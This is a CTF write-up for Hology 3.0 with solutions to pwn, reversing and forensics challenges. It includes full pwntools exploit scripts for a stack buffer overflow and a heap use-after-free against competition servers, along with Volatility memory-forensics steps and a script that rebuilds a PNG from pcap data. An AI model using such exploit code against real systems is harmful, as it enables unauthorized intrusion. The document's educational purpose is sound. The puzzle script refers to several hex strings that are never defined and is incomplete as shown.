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Writeup Hology 3.0 CTF by Universitas Brawijaya

Writeup Hology 3.0 CTF by Universitas Brawijaya

Pwn

Rev

Forensics

gunakan dengan baik

Description

Menyusuri hutan banyak lumpur.
nc 94.237.76.105 31337

Solution

this is just a simple buffer overflow challenge. here is my exploit for this challenge:

#!/usr/bin/env python2
import sys
from pwn import *
context.update(arch="i386", endian="little", os="linux", log_level="debug",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/hology3/pwn/gunakan-dengan-baik/gunakan-dengan-baik")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = ['* 0x56556250', '* 0x56556282']
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    # attach(r)
    p = "A" * 128
    p += "correct1"
    r.sendline(p)
    r.sendline("glf")
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("94.237.76.105", 31337)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

FLAG: hology3{kamu_m3rusak_pr09ramku}

angkatan corona

Description

Solution

I feel a bit confused with the organizer, since they give the wrong libc with the server have(they provide libc 2.31 but the server use libc 2.27), and the aslr in the server is turned of, they even don’t give any announcement or hint about it. in this writeup, I will use a simple way to solve this challenge.

we had a hello function, which can help us to get the flag. I just realize that the challenge doesn’t have aslr protection after the competition ended. since there is no aslr on the server so we can just use the static hello address that we got from local gdb which is 0x55555555552d. this is my exploit to solve this challenge:

#!/usr/bin/env python2
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/hology3/pwn/angkatan-corona/soal-ang")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def tambah(size,nama, sekolah, alamat):
    r.sendafter("Pilihan","1")
    r.sendafter(":",str(size))
    r.sendafter("Nama",nama)
    r.sendafter("Nama sekolah",sekolah)
    r.sendafter("Alamat sekolah", alamat)

def delete(idx):
    r.sendlineafter("Pilihan","2")
    r.sendlineafter("ke-",str(idx))

# def cetak()

def exploit(r):
    attach(r)
    hello = 0x55555555552d
    
    char = 97
    tambah(0x20, chr(char) * 0x18, chr(char) * 0x18, chr(char) * 0x18)
    tambah(0x120, chr(char) * 0x18, chr(char) * 0x18, chr(char) * 0x18)
    tambah(0x120, chr(char) * 0x18, chr(char) * 0x18, chr(char) * 0x18)
    delete(0)
    delete(1)
    tambah(0x20, p64(hello), chr(char) * 0x18, chr(char+1) * 0x18)
    
    r.sendlineafter("Pilihan","3")
    r.sendline("0")

    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("94.237.77.110", 31337)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

FLAG: hology3{c0ron4CorOnaja9aJ4raK}

Matematika SD

Solutions:

just xor the ii and jj variable

ii = [0x6A, 0x00, 0x00, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x69, 0x00, 
  0x00, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 
  0x62, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x65, 0x00, 
  0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 
  0x65, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x65, 0x00, 
  0x00, 0x00, 0x73, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 
  0x73, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00, 0x6C, 0x00, 
  0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x6C, 0x00, 0x00, 0x00, 
  0x75, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x68, 0x00, 
  0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 
  0x69, 0x00, 0x00, 0x00]

jj = [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 
  0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 
  0x1B, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0x00, 0x1E, 0x00, 
  0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x5C, 0x00, 0x00, 0x00, 
  0x11, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x28, 0x00, 
  0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x42, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x0D, 0x00, 
  0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 
  0x14, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x5C, 0x00, 
  0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 
  0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

iii = [0x6A, 0x00, 0x00, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x69, 0x00, 
  0x00, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 
  0x62, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x65, 0x00, 
  0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 
  0x65, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x65, 0x00, 
  0x00, 0x00, 0x73, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 
  0x32, 0x00, 0x00, 0x00]


jjj = [0x6A, 0x00, 0x00, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x69, 0x00, 
  0x00, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 
  0x62, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x65, 0x00, 
  0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 
  0x65, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x65, 0x00, 
  0x00, 0x00, 0x73, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 
  0x32, 0x00, 0x00, 0x00]

x = ''
for i in range(len(ii)):
    x += chr(ii[i] ^ jj[i])
print x

FLAG: hology3{m4teMat1katral414}

Redvelvet

Description:

Copy this to address bar...
seems legit.

Solution:

according to the description, I assume the flag is in the clipboard since we are given a dump image memory file so we can use volatility to get all the clipboard firstly we use volatility -f Redvelvet imageinfo to find the right image profile.

i use Win7SP1x86 as my profile, now we can use command volatility -f Redvelvet --profile=Win7SP1x86 clipboard to dump the clipboard data.

FLAG: hology3{Dump_1S_E4Sy_r1gHt}

Puzzle

Solution:

we were given a pcapng file, and i found a png file signature on the ftp-data protocol

in order to extract the image, we have to sort from STOR x00 to STOR x13, in order to extract the file I made a simple python code

str00 = '''89504e470d0a1a0a0000000d494844520000012b0000012b080200000009c632e30000329c49444154785eedddeb791b47b68561666085a05026840961427006c30c3c197842700893893c634be25d24ad8b455ffaf4537d161af8bad62e54ab408272bdffd45cb5abd0e80df0e922a09393aeeb9ed6f04c70ddf2c30f3f303a0ca7a7a7ccc9bffef52fa6ebf3ce6fbffdc643c9efbfffce434930af53b59ed19f7ffec943de589cf3958c0f8155dad571befffe7b8e97fffce73f4c1fa579c5fcc9b19a57bc8bb9e4ddbb77cc09a3496ddea9edc0605e87254aaa3a70f0e7d9b9bdbd658984b91257c7e178e91d7828f38a773127cc0973c29c3017aaedc0c1cfeb707cc9a13b90e385b9128e2fe178e91d7828f38a773127cc0973c29c3017ea1db8c15c09c79770bcf40e3c9479c5bb9813e68439614e980bf50edc60ae84e34b385e7a071ecabce25dcc0973c29c3027cc857a076e3057c2f1251c2fbd030f655ef12ee6921f7ffc91b9e4e5cb978c0aa34990cfaaed40b7ce004b945475e0eded2de70bbd78f18225643c754c87c653c112218e97de818732af78d7b7df7e8b276ffce73ffef10fe6523b7dfffdf7dbc96dfffad7bf70d1c4f99b9cf3f3731e4a2e2e2e38deaf33c62a727d7dcd5993abab2b1e4a38be7e3de3f9f9eebbef5845fefdef7f5735e138f59e4d38c6c6279de3e5ebe9c039f1b8b80e61aea46adfecd75f7fe5a1e4f3e7cf3c943c3c3cf09004174756769dc13e21a3120ca9e2f6e5dcdbbb3b15eed465add83f745c07feed6f7f63f451b8f5cc09fe44e6c4e3e23a84b9128e0f35ec40aea384e393609f9051616e2db72f77d00e1cdaaddf5df1bd03f7c5750873251c1f3ab60e1c7c1de684b9b558577a07aee3d63327f81399138f8beb10e64a383ed43b708375a577e03a6e3d73823f9139f1b8b80e61ae84e343bd033758577a07aee3d63327f81399138f8beb10e64a383ed43b708375a577e03a6e3d73823f9139f1b8b80e612e54bb8fd7aa031beeefbd78f182d1247ba7a4761f2fc0d2d23b701db79e39c19fc89cd8f5a2856fbef9867585eb10e6bc781fef5dcedbb76f7928393b3be3a1e4fcfc9c75ebf7d326ac226e3f6db96fb66e5e67bbf2b68b8b0b9e85643c153c94b853c7baa5fdbd5aee8a771d385e8abc3a57615d71eb9913fc89cc892d2ffcdf4054b9bbbb636961549893f14a65d4fbf4e9130f25e37b60c38ba00a97125ab1e997dddf0beab83fdf71825255b2eb5cb14fe8ae78d781e3a5c8e82aae09dd7ae6047f227362cb11762073a1a00359f7b17029a1777e9fd0c9fed63af8f359db81eecaab55bb4ec75df1bd0377f40edce0524a38be84e38539a9ed408e5f8b7585b91277c5f70edcd13b70834b29e1f8128e17e6a477'''

str01 = '''e03abd03f7d23b708339e91db84eefc0bdf40edc604e7a07aed33b702f47d881ee0e4456c3fdc6ec56c7f8fc5675e023ec4366d71970577cefc01d8fd081b7396fdfbee5a1e4ecec8c751fcb727fcf59b7efc72ab2dc6f9c3eef777575c5b393707cbb7dbcb69f3374577cefc01d87eec08f1f3ff250e2de03075fbff6f37bd97d2d27a8e364eb077518953ffef88387426e8aec7a06ff3731eecf8f82a76629d82774577cefc01dcfa803994b827d394643411d87258439614e6a3bd05d61d9b7c7e1c01d38f8c7ebaef8de813b9e7b070ef57987e34b385e9813e6a4b60359579893de8113b79e39c19fc89cd8d23b70833961ae84e34b385e9813e6a477e0a47720312acc097349efc00de6a477e0a47720312acc097349efc00de6a477e0a47720312acc0973496d07ba7db6e073868c0a732137af13acc7ddb2775b1d551d78ebf7fd5cfdde8113b79e39c19fc89cd872841d7897f3f6ed5b1e4acecece58d7efb3bd0c3f67c8b430e7b9799d783dcbef3b9db8fdc69b9b1b9e9d84b9d2be9fab7f7171c1d2c9f9f9390f25e353c34309eb0ad721ee8aef1db8e3ae5d073227c1459395ddf70b70bc3027b5fb694db84957c8aeb355fdf1c972ef81eed719961077c5f70edcf1081dc85c09c79770bc3027cc0973ad71beb5dcbe1f736bf50ea439b1a577e006c70b73c29c30d71ae75b8b7585b9b57a07d29cd8d23b7083e38539614e986b8df3adc5bac2dc5abd03694e6ce91db8c1f1c29c3027ccb5c6f9d6625d616eadde813427b6f40edce078614e9813e65ae37c6bb1ae30b756ef409a135b9e4b0736dc67cb0aea67ef58b87cedbcb5827dbc5a2c2dd92d90157a07d29cd8f2cd37dfdcb5f0f3cf3fb3b4701dc29c9c9e9e623faaed3edb525cbfd5ff67789f339e3a1e128ef7f3aec3ea52fbf93de7fcfc9c0f29393b3be3a184e3c55df1ae03c74b9157e72aee2b70dd7ae6047f2273e271711dc2dc5ad97dad80dbf2cad671e1139377aafee3db493075139c2fb462312c21877e0f3c34b79e39c19fc89c785c5c8730b716eb9670bc3097049ff76334b4a203dd6f41ad70be128e2fe178e91df8d8b80e616e2dd62de178614e9813e6422b3a90f3b5c6f94a38be84e3a577e063e33a84b9b558b784e38539614e980bf50edce81df8d8b80e616e2dd62de178614e9813e642bd03377a073e36ae43985b8b754b385e9813e684b950efc08dde818f8deb10e6d662dd90dbc73ba9dcf73b3179e7083b30fb11a400c797b8fabd031f1bd721ccadc5ba5ebc9fb6ffbedf64999ffc92737777c743c9fdfd3d0f09e76bcd7d0ed0e1f81257fffcfc9c0f35e1787157fcf3ebc06333af7857769f2dd88f6234f9f5d75fdd90dafa55f96c7848ef81d9212e3fb43b3f55f9f1b8fb3f'''

str02 = '''741995dafa8c0aa3e2aef86333af983f3956f38a773197d4eecb05df5acf68525bdfe5dd5ff98d1dc868e2f2833f3feeb75fe6a4365fdb81b5f59913e6a477e0a1cc2bdec59c3027cc25b51d3854d61f2af3ae034f4c7ea8ac3fb4cbd7762073c29c3027cc49efc0439957bc8b39614e984b7a076e3027cc49efc075e615f327c76a5ef12ee68439612ee91db8c19c3027bd03d79957cc9f1cab79c5bb9813e684b9a477e00673c29cf40e5c675e317f72ace615ef622e09f6e5184d1a7660f64e835b8ffb7ce0d881ee2fadb3f5dde700833b37d98f14adc8d7766076cb616897ef1d7828f38a779d9e9ee2a28cf7e5dee75c5d5d3127db95b73127cb7d3fb79ee9f3815c4a727f7fef3e77b7dc378beb6f27b72debbfacfc7ffca6fccdcd0d579f6c27b765d71f7cb5e4323f3edd6ef7e2e43976e05f0dcf4452fb1e38bef03357126c6d2db9bf8909ae3c57df9572df99edfe0fdddf7efb8d8792daf74027bbfee0f176cf159fe4e4113a902542ae6ddcbee289f9ed74f0a58ead03ddfa99eb9e3b3ec3c973e9c0c15f91cc892b756c1dc8f1c25cf7dcf1194e7a076ef40eec0e8bcf70d23b70a3776077587c8693de811bbd03bbc3e2339cb80e7c69f6ebc6cbceedd7392c11726de3f615837d3c57ead01d98dd4a09d4eefb75cfd5879cebebebd3d35334d5b49fc668f2eedd3bf7fff539bcb284a5935f7ef985b9b5fb7e6329564feeefef7928b9bbbbe3a1e4f6f6968792f154f050b2dc3f8cd5eefb7d3d7ef8e187ed871d1b4f370f25ee56f28a3398fd7ffc823ab5fb488c26ee3f7675ff11ac7be1af9dd7bd110dbe54f6f1065c9daca078b64e90cfca1659273bf58afad93a43fa5a771ef2befbee3bd6956cfdf115734ef087a1da0e7cf5ead53cd37e582209ea309a04fb668c26ad3ab076dea003395edca9765afdb6ecea3057c2f16bb9f3c05c89fbedb7aa03073fafab3f27f893506d070e7e650ec70b73c29c3027cc25ad3a70a89c7745073257c2f1251c2fcc0973251cbf16eb0a73251c2fad3a90392927b27a074e7a076e3057c2f16bb1ae3057c2f1d23b909813e68439612ee91db8c1f1c29c3057c2f16bb1ae3057c2f1d23b909813e68439612ee91db8c1f1c29c3057c2f16bb1ae3057c2f1f29574a0dbbf0ab04412d461347179b7bfd7b003b3772cdcbcae03ddfa4ffc1d88ac5bf3b9c140f6ce4150279b0f70fc5aac2bcc9570bc3c5e079e2e3e5f37f998f3faf56b1e4adebc79c3f17eff2ab65c4f5c67fffcb46fc6a5273737373c948caf383c9464cfd864b94f18cc5bb5ef3759ee9b393f869fbb7396f5e33acbbc339eb4a0cefec6d7b87ffef39fac2e4c7b719db76fdff2d94a982bed5b322dcc4176536e527b1283524bc123a995dd870964a77645dc'''

str05 = '''776282fdb756386552db812bd6c912896b9ba1f2196d7827267b8b7ff0759893e7de816eeba26507be4c9f8bfb3de7f2f2f2f48b3f77173b5deca7c5fb6fadf0a1261f3e7c604e5aad9353260f0f0f3c9454ed2f8d4fd377df7de74a315db2dc6773fb7e93ede4b6f7efdf7329c9d8213c948c1dc24309eb96d63376084b243737373c94b0ba2cf70fa77dcbb1355822d94ee6b9adb02cd7e8eed673f63bb3df1d787f6f1dae52982b395d6cf1bd0bf709112ee27871fb6fadde036b713ea97a051fc3ee3db0fcb9bb5dee3d305b67f9246eb84bdd41e50c8e08659fe3c12f2bdb81c3e1f7f756e01285b9128e4f82dfde192de178714fc1b175e0f2728fb90e74bf0d3aae035d1de6c49d678775973822d4aa03877d56f6b8b83e61ae84e3853961ae84e3853939b60e64aec475207325ae039913e6c45dea0eeb2e7144a8776011c70b73c25c09c70b73d23b70d23b90b88ea7c6f50973251c2fcc0973251c2fcc49efc049ef40e23a9e1ad727cc9570bc3027cc9570bc3027bd0327bd0377acd8373b342e3159b14e9610e6c49dbaac5bff393d57e7a93ab076ffd079aa0e74eb77e7d961dd258e903f72aeaeae7828b9bebee6a1e4e6e68675d7ee9b1d5aabfdbded0adb9893e5bcce6db8dfe5eafcf6db6f7c56128e6fad76ffd0193b874b4f98f3a6fdba717696489896e5fa27ee52676effc7cb7149b67326cbadbc17fef384e37be05e8bd8126cc52c65bf33bbed7ee3723d717d84277bedcceee774b1efe7f61bc7e765b9f80da64b96f306b2eb59a7f63d30f8eace2c8e0fb997b921edd4d76eb4fc3f564a820ee4f8c4fd15dbd8818c96b04428db8143d3fd46964e6af7f71a7660f60a70eb79613e7f3898e731909d37c0f16bd57660f68d2bc0f125ee3cb87dc532564a6a3bf0c4d479aa0e1cfc3a6bb1ae3027cc250d3b90a58539614e982be1f8128e5fabb603992be1f812d781cced8f9592de811bac2bcc097349efc0d57a0712c70b7349efc049efc0d57a0712c70b7349efc049efc0d57a07ee08f6c7184dbed60eac3d0f6307aebc51b6c0d2c29c64af985bbfafe8b04409c7af55db814f752786b9fdfd99737575c5194afb632c914c37caab2e3e77c397a513b7cd3a547e0a26b05ccf6df8fd995c62f2f0f0d06a3ddb2bd9c69c64d75fb55b30eda76d5788d5d68fbd7fff9e6733614edc3eded2ba758e6f4e5c4ac2dcfeb8ae649c26b8c8b25822717f1393fd60f2d8ae41872fbdf0dff3997de18cf7f15ae1acc9efb94f7cba7dbc18ab08736b9d9a7dbfdfcc97ffba57966c9d237cbcb5b26f0fc397ac879592b103992b6189a4aa0387fa7d3cb70f99edc0a1befe0a9c32c976e0e0f7f1022c21ccade5ae30d781d9f63bf175982be17861eeb1b47a5c33564a9e'''

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str10 = '''4fe3a184ab6fb77f38b9bcbce494c9c5c5050f25e7e7e73c94b0ee72bfeed870bd49c3fd2b964e82fa8c863e990f62bb4f6a06f3b6c229933ffffc93879215eb71a5980b8d4d58fb7fe83a2c5de27ebb737f0e957df11afc67e41daee37870a5c2dc5aac2bcc0973a1da0e1cfcbcad70bec4b5cd50bf1e578ab992a7ea408e97de81c4dc5aac2bcc0973a1de811bcc95f40e3c165ca930b716eb0a73c25ca877e0067325bd038f05572accadc5bac29c3017ea1db8c15c49efc063c19526c13e5e2d964e82fa8c866a3b70c5fe5e2d4e99b8b659b11e578ab992561d58bb7fc8f172e80e6cb54fd8dea1f70f6bf78b180dd57660306f2b9c32716d53bb9e31ef4a315ad2aa03ab1e42f662981cba03abd6f997c633271f72aeaeae4ecde7091db7dfb8f46ad57e1dabc8f84a57f532bcfc1c608ce34b385e969faf8b3f67787d7dcd6725199f1a1e4a2e2f2f792859ce5b6bfa1ed1b76fdfb274f2e6cd1b1e4af8788e7ffff0d0783e42e37b20c797b044e855fd7e1d4b48d5cbc489ff6b2f87e34b385e5c1b3027eed70df7eb4976d37cf0f3d672df991dfca7ae59acfbd7c133113a74070ef5cf04c70b73251c5fc2f1251c2fcc0973d2aa0339df5abd03bf14cf44a877e006c79770bc3027cc49efc0af0dcf44a877e006c79770bc3027cc49efc0af0dcf44a877e006c79770bc3027cc49efc0af0dcf44a8b60383cf1966add8af638964459d43df8971f5991397ff5a3bb0d59da1e727d8325a1a9fe6aa1bc755c587559b48d9295ad5715ad50fea64f3c3d7db81c1a92860a563c5757b2fd3f78bbecfb9bcbce4a1e4eaea8a8792ebeb6b1e4a6e6e6ebe7cbf2ede3f5ce69db84eade5e7f15e99ef179dec9f1f4fd778d2dca9764fcdc5c5050f25ac2ecbf5c4fb756fdebc61e964b9df18ff7f893ffdf4134b24cc2dd7c39f1fab79c57b7869be5fd4bdd0ba17e6cf9f3ff350f2f0f0d064bf2ed83fcce61df7fd9f2b643f8f17d4cfe607ff7cb953ed9e9adaf7c0daf5b8f740f7f2ca9cecf9671b1be58ac7665ef17e383e714fb3bb2c820ee47c252c21cc0973251cbf16eb0a73c29c3027ee54bba7a6b6039913e6c4752073c29cf40e248e4fdcd3ec2e8bde811bcc0973c29cb853ed9e9ade81c7625ef17e383e714fb3bb2c7a076e3027cc0973e24eb57b6a7a071e8b79c5fbe1f8c43dcdeeb2e81db8c19c3027cc893bd5eea9e91d782ce615ef87e313f734bbcbe2197560ed9d21c7dd01624e9813b71e77aadd5353db81b5ebafed4077a7a77720717ce29e6677593c4207ba1be5c18def2c57a75676dea038a3921d321e74a7da3d35b51d58bbfeda0eccd61f0ed18173e271711dc25cc92f39171717ac2be399c50de8695f912592ebebebede43e389fe7f6f782f5fc92fbf8'''

str11 = '''a9abd3166795abab2b2e31b9bcbce4a1647c6a7828393f3fe7a184eb58ebf5ebd72c9d30e7c5fb84fffdef7f593a99c77384cc89c7c5750873251c9fb817dac1d477fb8a0ddf03b3dc3ea15b8f13ece3b5c229c5fdfa70e8f7c05ab5ef810ec74bf6cba087bfc27b20c727ee691e7c7de6924377e050b99e00c7b7c6f9a477e0a477e00ef7340fbe3e7349efc00dce27bd0327bd0377b8a779f0f5994b7a076e703ee91d38e91db8c33dcd83afcf5cd23b7083f349efc049efc01dee69769fc7739f0fec1db8e1f6df0edd816ebfb156ab0e74fb84bd0377b8a7d9ed17b9bbcc6307ba218e2be570bc3057c2f1adb9c775e80eac3dff59fff8c73f5a75a03b0f8d3bf09b6fbeb96be1e79f7f6669e13a84b9128e97e5bedf643c8ecf954dee73aeaeae98abdf7f9bf6f758459816e6643cab5c65c2f1b2fc1c9de33eefe7bc4c9f036415b9b8b8e01293f3f3731e4acecece782879fbf62d0f256fdebce1a1e4f5ebd73c948c97220f257c54f5a67dc2f1bd91a59339c7332473628bfbadacd678b9b0b4302acc9570bc3027cc85dc1745bb7d3c27d8df6354982be17871bf3565add857640969f51e98fdf2dca1fe3bb3ef1bbd073a8ddf037b074e5c070ebebec3f1c29c3057c2f1c25c09c79770bcf40e9ccc09fe44e6c496de8193de81451c2fbd032773823f9139b1a577e0a4776011c74befc0c99ce04f644e6ce91d38e91d58c4f1d23b703227f81399135b9e7b07ba7dbf1393770edd81add639f87d33e64a38bec4ed13f60e9ccc09fe44e6c49667d481d91be2c1265236ef041d184c9195dd470a8a64f3816ca92645626e8abf5407fefdef7ffffa3b70b98f17efcbed9f9ff6eb367b98db2e2f2f7928b9babae2a1e4fafa7a7bc678de5af1bee2bb77efb89a64bc327828597e4fe6e4cbf70fa77dc2f3f3734e999c9d9df150c2eab25ce7f8cff1c97dfdfa354b24cbfcb45ff7d34f3f319a6c27f7b1fff999cc23f91399135b8eb003994b827d3946139777fb75ee3dd0fd47b3bffffe3b0f256ede5ac1f3e2fe0fdd3ffef88387926cfb9db4db3fac7d0f74dc3add7ba0cbb77a0fac3a3fc357df81c381f3ad3a70f0f3d6625da9ed40d615e64a385e5a7520eb8aeb40e6a45507727c4979e49cd8d23b70d23bb088e3a577e0a43c724e6ce91d38e91d58c4f1d23b70521e3927b6f40e9cf40e2ce278e91d38298f9c135bbed60e74fb6feef11e6107bafdb7a7ea40b70ff9541de8d6d33b901815e68439614eb2fb7e6ebfcb6d6a1d6107baa53e5507664fe9b7df7edba403c72791a5c57560763d7ffffbdf9b74e05887e3433ffcf0c33c983f9439b1e5083bf036e7cd9b37cc95b8ffaf8fa593e07b4797ffafe0cbb45fc712c98aef1d5dee3bbd32fb8ad3bc3737379c35d9'''

str12 = '''aeb08d55e4f2f2922592f154f050727e7ece43c9d9d9190f256fdfbee5a164b98f17e3e3919f7efa89a593fffdef7f3c94b0ae2ccfffe4c71f7f6489a4bc7e5612e69223ec40e6928f1f3f3257c21221f71e3898df76dcbee2f846c468c96dae79dcfedbb818f71ee8b084b8b777772a5a7d46be70f92e70bcb4fa9b18b7efe7be33bbbc7e8e10e692de811377d90d95eb5cd1812c21ccc973ef40aea384e3a555073227ae03397e892384b9a477e0c45d7643e53a7b076ef40e24e692de811377d90d95ebec1db8d13b90984b7a074edc653754aeb377e046ef40622ee91d387197ddadbf87c668d23b70a3550766ef540ded3ad0d5771dd8efc4ec2bbb4fe8b8cb2ebbe934613439b60e0cd6ff5c3ad0ed8bb6ea4057df7560704aff1f470873f2a2856fbef9867585eb10e6e45dceebd7af9993e5be9fdb4f6b8b4b4caeaeae982b6109614eaeafaf194dcafb54bbb6cfd8b6659d97e1f785be7dfb964b499893edcadb96fb72e33fcb97fb9697e9f384db15b631ed4d75c6d9f99012d65dae933f9739f1b8b80e614e984b82f7404693578d3ea717e094c913be0756b5df899f375be785ff5dc9bd073a2c2d6e5f8eb9128e17e64ab2cd169847f22732271e17d721cc0973496d070ebe7e2b9c2f79c20e64ae84e38539614e5a752073c25c09c70b7325bd0377f40edce81d18e37861aea477e08ede811bbd03631c2fcc95f40edcd13b70a377608ce385b992de813b6a3b30d8c76bc2dd99a8ed405767f0e7c775e08bdc5f9007dc3e1873e2f2ad3ad0d567aea4559dde813b820eccde28afba8bbd82bbeb3d7660f68bfd1c5767f0e7c77560ed43ce4e1d7c4e2f9b1f2a3bb0b6febffffd6fe64ab275763ebfb79ff61d786ce615ef624e985bab76ff70999fdce45c5e5ef250727575c54349f67b47275c8730276e6ae6fcf77fd68af70997fb8a93ecbedf8af564ebd4be0c05b62bef63fdc8a732af781773c2dc5ad9df525ef9fdc36cde711f54776f5c01ae4398133775d63bbfe35f8ba525db7e27edf6fd5ad57158b764fdc8a732af781773c2dc5aac2bcc097321d706c7d68183af5f8b758539614e982be178616e2dd62d593ff2a9cc2bdec59c30b716eb0a73c25cc8b541efc00de684b9128e17e6d662dd92f5239fcabce25dcc09736bb1ae3027cc855c1bf40edc604e982be178616e2dd62d593ff2a9cc2bdec59c30b716eb0a73c25cc8b541efc00de684b9128e17e6d662dd92f5239fcabce25dcc250df7f7583a09ea331a726dd0b003dd9d2137b5c3ba6bb9f53027b579a7551dc7d577e691fcc9b19a57bc2bfb1f7735bccb9cbd811ed4cfe61dd706b51d18ac27bbdf35f8a9b3827db95ad9f504f5b3f927dcf773b2f59d86f3765dd775ddf3f47f433642af80fa3f'''

str13 = '''190000000049454e44ae426082'''


x = str00 + str01 + str02 + str03 +str04 + str05 + str06 + str07 + str08 + str09 + str10 + str11 + str12 + str13 
print x.decode('hex')


# print a.decode('hex')

run and pipe to get a png file. and we got a QR code

after decoding the QR code I got a google drive link https://drive.google.com/file/d/1TLw77M52ctjKN5X0DXiHKD9b5fdHUJzh/view there is a video on the google drive

FLAG: hology3{f1lE_Tr4nSfEr_b0SSquE}